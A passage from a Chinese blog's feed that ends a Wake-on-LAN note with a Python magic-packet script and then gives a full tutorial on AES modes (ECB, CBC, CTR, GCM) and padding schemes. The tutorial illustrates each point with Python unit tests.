&lt;tr&gt;&lt;td&gt;wakeonlan&lt;&#x2F;td&gt;&lt;td&gt;单播&lt;&#x2F;td&gt;&lt;td&gt;单播&#x2F;网段广播&#x2F;255.255.255.255&lt;&#x2F;td&gt;&lt;td&gt;UDP&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;etherwake&lt;&#x2F;td&gt;&lt;td&gt;单播&#x2F;广播&lt;&#x2F;td&gt;&lt;td&gt;无（纯二层）&lt;&#x2F;td&gt;&lt;td&gt;EtherType 0x0842&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Windows WOL App&lt;&#x2F;td&gt;&lt;td&gt;广播&lt;&#x2F;td&gt;&lt;td&gt;网段广播 + 255.255.255.255&lt;&#x2F;td&gt;&lt;td&gt;UDP&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;gong-wang-huan-xing&quot;&gt;公网唤醒&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;bi-yao-tiao-jian&quot;&gt;必要条件&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;公网 IP&lt;&#x2F;strong&gt; 或 &lt;strong&gt;DDNS&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;路由器端口转发&lt;&#x2F;strong&gt;：将外网端口映射到目标机器的 IP:9（UDP）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;ARP 绑定&lt;&#x2F;strong&gt;：路由器中绑定目标机器的 MAC-IP，防止关机后 ARP 表丢失&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;chang-jian-shi-bai-yuan-yin&quot;&gt;常见失败原因&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;路由器端口转发不支持映射为广播地址（如华为路由只支持已获取 IP 的设备）&lt;&#x2F;li&gt;
&lt;li&gt;路由器在设备关机后检测到 MAC 下线，ARP 绑定失效，丢包&lt;&#x2F;li&gt;
&lt;li&gt;源地址经 DNAT（端口转发）后变为公网 IP，某些网卡&#x2F;NIC 对单播 Magic Packet 的处理不一致&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;rao-xing-fang-an&quot;&gt;绕行方案&lt;&#x2F;h3&gt;
&lt;p&gt;通过内网一台始终在线的机器（如 NAS）作为跳板，由 NAS 发送 wakeonlan 命令唤醒目标机器。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wol-bao-wen-fa-song-fang-shi-dui-bi&quot;&gt;WOL 报文发送方式对比&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;方式&lt;&#x2F;th&gt;&lt;th&gt;优点&lt;&#x2F;th&gt;&lt;th&gt;缺点&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;单播&lt;&#x2F;td&gt;&lt;td&gt;安全、低带宽&lt;&#x2F;td&gt;&lt;td&gt;IP 变化后失效&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;子网广播&lt;&#x2F;td&gt;&lt;td&gt;兼容性好、成功率高&lt;&#x2F;td&gt;&lt;td&gt;需要路由器支持；仅 IPv4；安全性低&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;qi-ta-yuan-cheng-kai-ji-fang-an&quot;&gt;其他远程开机方案&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;智能插座&lt;&#x2F;strong&gt; + BIOS &quot;通电自动开机&quot;：最简单，适用于任何机器&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;PCI-E 开机卡&lt;&#x2F;strong&gt;：通过 WiFi 发送开机信号，需 PCIE 插槽带电&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;短接 POWER SW 跳线&lt;&#x2F;strong&gt;：通过外部设备短接主板的电源跳线&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;shi-li-python-jiao-ben&quot;&gt;示例 Python 脚本&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;import socket

def wol(mac: bytes):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
    magic = b&amp;#x27;\xff&amp;#x27; * 6 + mac * 16
    s.sendto(magic, (&amp;#x27;&amp;lt;broadcast&amp;gt;&amp;#x27;, 7))

wol(b&amp;#x27;\x00\x15\xB2\xAA\x5B\x00&amp;#x27;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>30分钟搞定AES系列</title>
        <published>2025-07-18T00:00:00+00:00</published>
        <updated>2025-07-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/30分钟搞定aes系列/"/>
        <id>https://vercel.juzhong.asia/obsidian/30分钟搞定aes系列/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/30分钟搞定aes系列/">&lt;h2 id=&quot;30fen-zhong-gao-ding-aesxi-lie-shang-ji-chu-te-xing-teng-xun-yun-kai-fa-zhe-she-qu-teng-xun-yun&quot;&gt;30分钟搞定AES系列（上）：基础特性-腾讯云开发者社区-腾讯云&lt;&#x2F;h2&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;shen-me-shi-aes&quot;&gt;&lt;strong&gt;什么是AES&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;AES是对称加密算法的一种，全称是ADVANCED ENCRYPTION STANDARD。&lt;&#x2F;p&gt;
&lt;p&gt;高级加密标准 (AES) 指定了 FIPS 批准的 可用于保护电子数据的密码算法。AES 算法是一种&lt;strong&gt;对称分组密码&lt;&#x2F;strong&gt;，可以对信息进行加密（加密）和解密（解密）。加密将数据转换为难以理解的形式，称为密文；解密密文会将数据转换回其原始形式，称为明文。&lt;&#x2F;p&gt;
&lt;p&gt;关于AES标准的详细论述，可以参考《Federal Information Processing Standards Publication 197》，这里不再赘述。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;aeszhi-chi-de-mo-shi&quot;&gt;&lt;strong&gt;AES支持的模式&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;AES支持以下加密模式：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;1. ECB模式（The Electronic Codebook Mode）
2. CBC模式（The Cipher Block Chaining Mode）
3. CTR模式（The Counter Mode）
4. GCM模式（The Galois&amp;#x2F;Counter Mode）
5. CFB模式（The Cipher Feedback Mode）
6. OFB模式（The Output Feedback Mode）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;AES的加密模式根据加密方式的不同，简单分为块加密模式与流加密模式两种。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;块加密模式最为常见同时在工程化中使用最为普遍的是CBC模式。&lt;&#x2F;p&gt;
&lt;p&gt;流加密模式最具代表性的是GCM模式。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;aes-in-30-min&#x2F;aes-modes-classification.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;kuai-jia-mi-yu-shu-ju-tian-chong&quot;&gt;&lt;strong&gt;块加密与数据填充&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;明文数据的填充是块加密模式最重要的特点之一。&lt;&#x2F;p&gt;
&lt;p&gt;为什么需要填充呢？这有个很重要的原因是因为，加密库（或者说加密算法）本身，是无法预料用户输入的明文长度究竟是多少的！&lt;&#x2F;p&gt;
&lt;p&gt;对于AES来说，ta只知道自己是按照16字节进行分组加密的，这里的分组加密说的更严谨点，应该是，对明文按照16个字节进行分组进行加密（这里我们暂时不讨论每种模式下的区别）。&lt;&#x2F;p&gt;
&lt;p&gt;如果输入的明文长度不是16字节整数倍，这个时候就需要强行将明文进行填充对齐，使其能够满足分组规则。&lt;&#x2F;p&gt;
&lt;p&gt;比较常见的几种填充法则如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;NoPadding：顾名思义，就是不填充。缺点就是只能加密长为BlockSize倍数的信息，&lt;strong&gt;一般不会使用&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;ZerosPadding：全部填充0x00，无论缺多少全部填充0x00，已经是BlockSize的倍数仍要填充，&lt;strong&gt;一般工程上不使用这种方式&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;PKCS#5：缺几个字节就填几个字节，每个字节的值为缺的字节数；&lt;strong&gt;在AES加密当中严格来说是不能使用PKCS&lt;&#x2F;strong&gt;#5的，因为AES的块大小是16bytes而PKCS#&lt;strong&gt;5只能用于8bytes&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;PKCS#7：&lt;strong&gt;缺几个字节就填几个字节，每个字节的值为缺的字节数；当长度不对齐时，将数据填充到满足分组的长度；当长度刚好对齐时，在原始数据末尾新增一个填充块；OpenSSL在AES加密中默认使用PKCS#7&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;ISO 10126：最后一个字节的值是需要填充的字节数（需要填充的字节数包括了最后一字节），其他全部填随机数。&lt;&#x2F;li&gt;
&lt;li&gt;ANSI X9.23：跟ISO 10126很像，只不过ANSI X9.23其他字节填的都是0而不是随机数。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;PKCS#7填充效果：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;aes-in-30-min&#x2F;pkcs7-padding-effect.png&quot; alt=&quot;image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;image.png&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;    def padding_check(self, origin: str, block_size: int):
        &amp;quot;&amp;quot;&amp;quot;
            假设BlockSize为128即16个字节，则：
            对于原文长度不足16个字节的，按照16字节(128比特)的BlockSize进行填充
        &amp;quot;&amp;quot;&amp;quot;
        padder = padding.PKCS7(block_size).padder()
        ret = padder.update(origin.encode(&amp;#x27;utf-8&amp;#x27;))
        ret += padder.finalize()
        print(&amp;quot;origin=&amp;quot;, list(origin),
              &amp;quot;after padding=&amp;quot;, list(ret))

        &amp;quot;&amp;quot;&amp;quot; 验证填充完成后的字节数是否符合预期 &amp;quot;&amp;quot;&amp;quot;
        self.assertEqual(len(ret) % get_bytes_len(block_size), 0)

        &amp;quot;&amp;quot;&amp;quot; 填充值同时也是填充的字节长度 &amp;quot;&amp;quot;&amp;quot;
        padding_value = get_padding_value(
            get_bytes_len(block_size), len(origin))

        &amp;quot;&amp;quot;&amp;quot; 填充长度为 padding_value 个字节，每个字节的值应该都是 padding_value &amp;quot;&amp;quot;&amp;quot;
        for i in range(1, padding_value + 1):
            self.assertEqual(int(ret[0 - i]), int(padding_value))
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;aes-in-30-min&#x2F;aes-pkcs7-padding-2.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;aes-in-30-min&#x2F;aes-pkcs7-padding.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;本文后续内容我们默认使用PKCS#7进行冗余填充。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;bu-an-quan-de-kuai-jia-mi-ecb&quot;&gt;&lt;strong&gt;不安全的块加密：ECB&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;ECB模式是不安全的，不建议在工程实践中使用这种模式。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;    def test_ecb_cipher(self):
        origin_1 = &amp;quot;aaaaaaaaaaaaaaaa&amp;quot;
        origin_2 = &amp;quot;bbbbbbbbbbbbbbbb&amp;quot;
        origin_3 = (origin_1 + origin_2)
        key = &amp;quot;1234567890123456&amp;quot;.encode(&amp;#x27;utf-8&amp;#x27;)
        aes_obj = aes_encryption.aes_encryption(&amp;quot;ecb&amp;quot;, key)
        print(&amp;quot;Current AES Mode:&amp;quot;, aes_obj.current_mode)
        cipher_1, cipher_1_len = aes_obj.encrypt(origin_1.encode(&amp;#x27;utf-8&amp;#x27;))
        cipher_2, cipher_2_len = aes_obj.encrypt(origin_2.encode(&amp;#x27;utf-8&amp;#x27;))
        cipher_3, cipher_3_len = aes_obj.encrypt(origin_3.encode(&amp;#x27;utf-8&amp;#x27;))
        print(&amp;quot;cipher_1:{}&amp;quot;.format(list(cipher_1)))
        print(&amp;quot;cipher_2:{}&amp;quot;.format(list(cipher_2)))
        print(&amp;quot;cipher_3:{}&amp;quot;.format(list(cipher_3)))
        &amp;quot;&amp;quot;&amp;quot; ECB模式下的密文与明文一一对应，不安全 &amp;quot;&amp;quot;&amp;quot;
        self.assertEqual(cipher_1_len % 16, 0)
        self.assertEqual(cipher_2_len % 16, 0)
        self.assertEqual(cipher_3_len % 16, 0)
        self.assertEqual(
            cipher_1[:cipher_1_len - 16] + cipher_2[:cipher_2_len - 16], cipher_3[:cipher_3_len - 16])
        self.assertEqual(len(aes_obj.key_value) % 16, 0)
        self.assertLessEqual(len(aes_obj.key_value), 32)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;当我们使用ECB模式分别对明文：&lt;code&gt;aaaaaaaaaaaaaaaa&lt;&#x2F;code&gt;、&lt;code&gt;bbbbbbbbbbbbbbbb&lt;&#x2F;code&gt;以及&lt;code&gt;aaaaaaaaaaaaaaaabbbbbbbbbbbbbbbb&lt;&#x2F;code&gt;做加密时，我们稍微观察就会发现，密文其实是重复出现的。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;aes-in-30-min&#x2F;aes-ecb-repeated-ciphertext.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;ECB模式有一个显著的安全问题：如果使用相同的密钥，那么相同的明文块就会生成相同的密文块，不能很好的隐藏数据模式。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;细心点的朋友可能已经发现，重复出现的数据是三部分，那么为什么是三部分呢？&lt;&#x2F;p&gt;
&lt;p&gt;这个作为思考题留给大家，欢迎在评论区交流。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;jing-dian-kuai-jia-mi-mo-shi-cbc&quot;&gt;&lt;strong&gt;经典块加密模式：CBC&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;对于块加密模式来说，始终都有：&lt;strong&gt;密文长度与填充后的明文长度等长！！！&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;aes-in-30-min&#x2F;aes-cbc-mode-diagram.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;    def test_aes_cbc_encryption(self):
        origin = os.urandom(random.randint(17, 256))
        key = os.urandom(32)
        iv = os.urandom(16)
        aes_obj = aes_encryption.aes_encryption(&amp;quot;cbc&amp;quot;, key, iv)
        print(&amp;quot;Current AES Mode:&amp;quot;, aes_obj.current_mode)
        cipher, cipher_len = aes_obj.encrypt(origin)
        plain, plain_len = aes_obj.decrypt(cipher)
        self.assertEqual(plain, origin)
        self.assertEqual(len(origin), plain_len)
        self.assertGreaterEqual(cipher_len, len(origin))
        print(&amp;quot;cipher_len:&amp;quot;, cipher_len)
        print(&amp;quot;origin_len:&amp;quot;, len(origin))
        print(&amp;quot;len(origin) % 16 = &amp;quot;, len(origin) % 16)
        &amp;quot;&amp;quot;&amp;quot;
            假如原始数据长度等于 BlockSize * n，
            则使用 NoPadding 时加密后数据长度等于 BlockSize * n，其它情况下加密数据长度等于 BlockSize * (n+1)。
            假如原始数据长度等于 BlockSize*n+m [其中 m 小于BlockSize]，
            除了 NoPadding 填充之外的任何方式，加密数据长度都等于 BlockSize*(n+1)；
        &amp;quot;&amp;quot;&amp;quot;
        if len(origin) % 16 == 0:
            self.assertEqual(cipher_len, len(origin))
        else:
            self.assertEqual(cipher_len, (len(origin) &amp;#x2F;&amp;#x2F; 16 + 1) * 16)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;aes-in-30-min&#x2F;aes-cbc-key-iv-block-size.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;CBC模式作为工程上使用最广泛的一种加密模式，平时在使用它时，我们的密钥长度、IV长度、分组长度与加密轮转次数的关系如下图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;aes-in-30-min&#x2F;aes-cbc-key-iv-block-relations.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;在 CBC 模式加密中，第一个输入块是通过将明文的第一个块与 IV 异或形成的。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;前向密码函数应用于第一个输入块，并且结果输出块是密文的第一个块。该输出块还与第二个明文数据块异或以产生第二个输入块，并应用前向密码函数以产生第二个输出块。&lt;&#x2F;p&gt;
&lt;p&gt;该输出块，即第二个密文块，与下一个明文块异或以形成下一个输入块。每个连续的明文块与前一个输出&#x2F;密文块进行异或运算以产生新的输入块。&lt;&#x2F;p&gt;
&lt;p&gt;前向密码函数应用于每个输入块以产生密文块。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;在 CBC 解密中，逆密码函数应用于第一个密文块，得到的输出块与初始化向量进行异或以恢复第一个明文块。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;逆密码函数也应用于第二个密文块，得到的输出块与第一个密文块异或以恢复第二个明文块。&lt;&#x2F;p&gt;
&lt;p&gt;经典的AES-CBC逻辑抽象图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;aes-in-30-min&#x2F;aes-cbc-encryption-flow.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;通常，要恢复任何明文块（第一个除外），将逆密码函数应用于相应的密文块，并将结果块与前一个密文块进行异或运算。&lt;&#x2F;p&gt;
&lt;p&gt;在 CBC 加密中，每个前向密码操作（第一个除外）的输入块取决于前一个前向密码操作的结果，因此前向密码操作不能并行执行。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;CBC模式的链式反应指的是加密的过程，因为当IV改变，加密过程中的所有密文block都会改变；&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;而解密的时候，IV只会对第一个明文block有影响。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;    def test_aes_cbc_decrypt_by_wrong_iv(self):
        &amp;quot;&amp;quot;&amp;quot;
            CBC模式的链式反应一般指的是加密的过程，因为当IV改变，加密过程中的所有密文block都会改变
            而解密的时候IV只会对第一个明文block有影响
        &amp;quot;&amp;quot;&amp;quot;
        # 64字节长度的明文
        origin_plain = os.urandom(64)
        print(&amp;quot;origin_plain[0:16]:{}&amp;quot;.format(list(origin_plain[0:16])))
        print(&amp;quot;origin_plain[16:32]:{}&amp;quot;.format(list(origin_plain[16:32])))
        print(&amp;quot;origin_plain[32:48]:{}&amp;quot;.format(list(origin_plain[32:48])))
        print(&amp;quot;origin_plain[48:64]:{}&amp;quot;.format(list(origin_plain[48:64])))
        # 32字节长度的key
        key = os.urandom(32)
        # print(&amp;quot;key:{}&amp;quot;.format(list(key)))
        # 16字节长度的iv
        iv = os.urandom(16)
        print(&amp;quot;correct iv:{}&amp;quot;.format(list(iv)))
        aes_obj = aes_encryption.aes_encryption(&amp;quot;cbc&amp;quot;, key, iv)
        cipher, cipher_len = aes_obj.encrypt(origin_plain)
        # 使用正确的key 和 iv进行解密
        plain, plain_len = aes_obj.decrypt(cipher)
        self.assertEqual(plain, origin_plain)
        self.assertEqual(len(origin_plain), plain_len)
        self.assertGreaterEqual(cipher_len, len(origin_plain))
        # 将iv设置为错误的值
        aes_obj.iv_value = os.urandom(16)
        self.assertNotEqual(iv, aes_obj.iv_value)
        print(&amp;quot;wrong iv:{}&amp;quot;.format(list(aes_obj.iv_value)))
        wrong_plain, wrong_plain_len = aes_obj.decrypt(cipher)
        print(&amp;quot;wrong_plain[0:16]:{}&amp;quot;.format(list(wrong_plain[0:16])))
        print(&amp;quot;wrong_plain[16:32]:{}&amp;quot;.format(list(wrong_plain[16:32])))
        print(&amp;quot;wrong_plain[32:48]:{}&amp;quot;.format(list(wrong_plain[32:48])))
        print(&amp;quot;wrong_plain[48:64]:{}&amp;quot;.format(list(wrong_plain[48:64])))
        # 即使使用错误的iv进行解密，但是得到的长度还是正确的，只是解密出来的内容会有不同
        self.assertNotEqual(wrong_plain, origin_plain)
        self.assertNotEqual(wrong_plain, plain)
        self.assertEqual(len(origin_plain), wrong_plain_len)
        # 解密的时候，错误的iv只影响明文块的第一个16字节block
        self.assertNotEqual(wrong_plain[0:16], origin_plain[0:16])
        self.assertEqual(wrong_plain[16:], origin_plain[16:])
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;aes-in-30-min&#x2F;aes-cbc-mode-encryption.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;ctrmo-shi&quot;&gt;&lt;strong&gt;CTR模式&lt;&#x2F;strong&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;在 CTR 加密中，在每个计数器块上调用前向密码函数，结果输出块与相应的明文块异或以产生密文块。对于最后一个块，它可能是u位的部分块，最后一个输出块的最高有效u位用于异或运算；最后一个输出块的剩余 b-u 位被丢弃。&lt;&#x2F;p&gt;
&lt;p&gt;在 CTR 解密中，对每个计数器块调用前向密码函数，将得到的输出块与相应的密文块异或以恢复明文块。对于最后一个块，它可能是u位的部分块，最后一个输出块的最高有效u位用于异或运算；最后一个输出块的剩余 b-u 位被丢弃。&lt;&#x2F;p&gt;
&lt;p&gt;在CTR加密和CTR解密中，前向密码功能可以并行执行；类似地，如果可以确定对应的计数器块，则可以独立于其他明文块恢复对应于任何特定密文块的明文块。此外，可以在明文或密文数据可用之前将前向密码函数应用于计数器。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;aes-in-30-min&#x2F;aes-ctr-mode.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;CTR模式有很多优点：易于理解，效率高，不需要padding，支持并行化，随机访问，以及只需要加密函数等等。&lt;&#x2F;p&gt;
&lt;p&gt;但是，CTR也有一些显而易见的缺点：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;无法保证消息的完整性：
    缺乏消息身份验证，攻击者很容易对截获的加密消息进行比特翻转，再重放，且无需对其进行解密。
    而因为CTR模式的延展性，一个比特的反转就会带来毁灭性的结果。
计数器块重用导致明文泄露：
    如果计数器块(nonce)被重用，它可能会导致泄漏明文；
    特别是CTR模式加密需要唯一的随机数输入，绝对不能将其重复用于使用同一密钥加密的两条不同的消息，所以随机数生成方法尤为重要。
密文长度已知(可以通过padding对原文的长度进行隐藏)：
    因为CTR模式不需要padding，所以其加密后的密文长度是可以知道的。
    尽管在许多加密方法中，消息长度并不被视作秘密（secert），但由于对称加密的特性，所以可以获得对应的明文长度，
    从而出现明文高位泄露的风险。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;gcmmo-shi&quot;&gt;&lt;strong&gt;GCM模式&lt;&#x2F;strong&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;GCM可以提供对消息的加密和完整性校验，另外，它还可以提供附加消息的完整性校验。在实际应用场景中，有些信息是我们不需要保密，但信息的接收者需要确认它的真实性的，例如源IP，源端口，目的IP，IV，等等。&lt;&#x2F;p&gt;
&lt;p&gt;因此，我们可以将这一部分作为附加消息加入到MAC值的计算当中。&lt;&#x2F;p&gt;
&lt;p&gt;GCM模式是一种很经典的AEAD（Authenticated Encryption with Associated Data）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;AEAD是一种同时具备保密性，完整性和可认证性的加密形式。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;AEAD 产生的原因很简单，单纯的对称加密算法，其解密步骤是无法确认密钥是否正确的，也就是说，加密后的数据可以用任何密钥执行解密运算，得到一组疑似原始数据，而不知道密钥是否是正确的，也不知道解密出来的原始数据是否正确，因此，需要在单纯的加密算法之上，加上一层验证手段，来确认解密步骤是否正确。&lt;&#x2F;p&gt;
&lt;p&gt;常见的 AEAD 算法有：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;AES-128-GCM
AES-192-GCM
AES-256-GCM
ChaCha20-IETF-Poly1305
ChaCha20-IETF-Poly1305
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;具备 AES 加速的 CPU（桌面，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;product&#x2F;cvm?from_column=20065&amp;amp;from=20065&quot;&gt;服务器&lt;&#x2F;a&gt;）上，建议使用 AES-XXX-GCM 系列，移动设备建议使用 ChaCha20-IETF-Poly1305 系列。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;cbcyu-gcmde-dui-bi&quot;&gt;&lt;strong&gt;CBC与GCM的对比&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;AES-GCM可以并行加密解密，AES-CBC的模式决定了它只能串行地进行加密。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;因为加密是耗时较久的步骤，且加密的方式是相同的，所以并行地实现AES-GCM算法的时候，其效率是高于AES-CBC的。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;AES-GCM提供了GMAC信息校验码，用以校验密文的完整性。AES-CBC没有，无法有效地校验密文的完整性；&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;AES-GCM是流加密的模式，不需要对明文进行填充。AES-CBC是块加密的模式，需要对明文进行填充(AES-GCM中进行AES加密的是counter，AES-CBC中进行AES加密的是明文块)。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;由于AES-CBC中必须要用到padding，导致最后一个明文块与其他密文块不同，因此可能会受到padding Oracle attacks，从而可以直接通过初始向量IV和密码，即可得到明文。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;这一部分会在本系列的其他文章中详细描述，敬请期待！&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;search&#x2F;article-AES&quot;&gt;#AES&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;search&#x2F;article-%E5%AF%B9%E7%A7%B0%E5%8A%A0%E5%AF%86&quot;&gt;#对称加密&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
